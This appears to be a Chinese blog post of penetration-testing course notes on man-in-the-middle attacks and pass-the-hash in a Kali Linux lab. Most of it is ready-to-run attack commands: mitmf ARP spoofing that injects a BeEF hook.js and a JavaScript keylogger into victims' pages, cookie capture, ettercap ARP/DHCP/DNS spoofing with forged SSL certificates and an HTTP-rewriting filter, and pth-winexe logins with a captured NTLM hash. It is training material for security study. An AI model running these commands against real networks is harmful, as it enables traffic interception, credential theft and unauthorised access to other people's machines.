Kali Linux渗透测试 108 中间人攻击

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 中间人攻击


1. mitmf

  1. 简介

    • 即使没有XSS漏洞,也可以凌空向每个HTTP请求中注入XSS攻击代码
    • 一旦得手,影响范围巨大
    • 如果中间人发生在运营商线路上,很难引起用户注意
  2. 曾经号称最好用的中间人攻击工具(kali 2.0后默认未安装)

    # 安装环境
    root@kali:~# apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
    
    # 安装 mitmf
    root@kali:~# apt-get install mitmf
    root@kali:~# pip uninstall Twisted
    root@kali:~# wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
    root@kali:~# pip install ./Twisted-15.5.0.tar.bz2 
    
  3. 启动beef

    • cd /usr/share/beef-xss/
    • ./beef
  4. mitmf 中间人注入xss脚本

    # 作为中间人连接网页并插入 js
    root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --inject --js-url http://10.10.10.131:3000/hook.js
    


  5. 键盘记录器

    # 键盘记录器 --jskeylogger
    root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --jskeylogger
    
  6. 其他模块

    # 图片:--upsidedownternet、--screen(/var/log/mitmf)
    root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --upsidedownterne
    # cookie:--ferretng(cookie)
    root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --ferretng
    # 浏览器及插件信息: --browserprofiler
    # smb:--smbtrap、--smbauth(不演示)
    
  7. 旁路 –hsts

    • HTTP Strict Transport Security
    • 防止协议降级、cookie窃取
    • 安全策略通过HTTP响应头 “Strict-Transport-Security“实施
    • 限制 user-agent、https 等
  8. 凌空插后门 –filepwn

    • 用户下载的可执行程序在经过代理的时候,会被插入后门

2. ettercap

  1. 简介

    • 统一的中间人攻击工具
    • 转发 MAC 与本机相同,但 IP 与本机不同的数据包
    • 支持 SSH1、SSL 中间人攻击
  2. 模块划分

    • Snifer
      • 负责数据包转发
      • Unified
        • 单网卡情况下独立完成三层包转发
        • 始终禁用内核 ip_forward 功能
      • Bridge
        • 双网卡情况下的一层 MITM 模式
        • 可作为 IPS 过滤数据包
        • 不可在网关上使用(透明网桥)
    • MITM

      • 把流量重定向到 ettercap 主机上
      • 可以使用其他工具实现 MITM,ettercap 只作嗅探和过滤使用
      • 实现MITM的方法
        • ARP
        • ICMP
          • ICMP路由重定向,半双工
        • DHCP
          • 修改网关地址,半双工
        • Switch Port Stealing
          • flood目标地址是本机,源地址是受害者的包
          • 适用于ARP静态绑定的环境
        • NDP
          • IPv6协议欺骗技术
    • Filter

    • Log
    • Plugin
  3. 特性

    • 2.4以上内核对ARP地址欺骗的约束
      • 收到非请求的 ARP 响应包,不更新本地 ARP 缓存
      • Ettercap 使用ARP request 包进行攻击
    • Solaris 不根据ARP包更新本地ARP缓存
      • Ettercap 使用先发 ICMP 包来更新 ARP 缓存
  4. 用户操作界面

    • -T 文本界面图形
    • -G 界面
    • -C 基于文本的图形界面
    • -D 后台模式
  5. 指定目标

    • IPv4:MAC/IPs/Ports
    • IPv6:MAC/IPs/IPv6/Ports
    • /10.0.0.1−5;10.0.1.33/20−25,80,110
  6. 权限

    • 需要root权限打开链路层Socket连接,然后使用nobody账号运行
    • 日志写入目录需要nobody有写入权
    • 修改etter.conf:EC_UID=65534
  7. 基于伪造证书的SSL MITIM

    • Bridge模式不支持SSL MITM
    • openssl genrsa −out etter.ssl.crt 1024
    • openssl req −new−keyetter.ssl.crt −out tmp.csr
    • openssl x509 −req −days 1825 −in tmp.csr −signkey etter.ssl.crt−out tmp.new
    • cat tmp.new>>etter.ssl.crt
    • rm −f tmp.newtmp.csr
  8. ARP 中间人攻击

    • 字符模式(arp 欺骗)
      • ettercap -i eth0 -T -M arp -q /10.10.10.2// /10.10.10.133// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message
    • 图形界面
    • SSL MITM
      # 启用基于 SSL 的中间人攻击
      vim /etc/ettercap/etter.conf

    • DNS欺骗

      • dns_spoof插件配置文件
      • vi /etc/ettercap/etter.dns
  9. Ettercap 日志查看

    • etterlog -p log.eci
    • etterlog -c log.ecp
    • etterlog -c -f /1.1.1.1/ log.ecp
    • etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa 选择相应的连接并榨取文件
  10. Filter

    • /usr/share/ettercap/
    • /usr/share/ettercap/etter.filter.ssh
  11. SSH-2.xx / SSH-1.99 / SSH-1.51

    • SSH-1.99 代表兼容 ssh-2 和ssh1,可以使用 Filter 来只使用 ssh-1,利于监听
    • etterfilter etter.filter.ssh -o ssh.ef
  12. 替换HTTP内容

    if (ip.proto == TCP && tcp.src == 80)
    { msg(“data on TCP 80\n”);
    replace(“img src=”, “img src=\”http://1.1.1.1/1.gif\” “);
    replace(“IMG src=”, “img src=\”http://1.1.1.1/1.gif\” “);
    replace(“IMG SRC=”, “img src=\”http://1.1.1.1/1.gif\” “);
    }

  13. 其他欺骗

    • ICMP
      • -M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)
    • DHCP
      • −M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
    • Port
      • -M port /1.1.1.1/ /1.1.1.2/
    • Ndp
      • -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/
      • -

2. Pass the Hash (PTH)

  1. 简介

    • 密码破解耗费时间资源巨大
    • 使用密文提交给服务器直接完成身份认证
    • NTLM/LM是没有加盐的静态HASH密文
    • 企业中使用ghost等工具克隆安装系统
    • pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063 716ab7fe2a11faf126d8 //1.1.1.1 cmd
  2. 获取 win7 HASH 值

    • 使用 kali live iso 登录win7

    • nc 传输

      kali:nc -nvlp 333
      win7:nc 10.10.10.131 333
      结果:John:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
      
  3. kali 使用 密文直接登录

    root@kali:~# pth-winexe -U John%aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 //10.10.10.133 cmd
    

你可能感兴趣的:(kali-linux)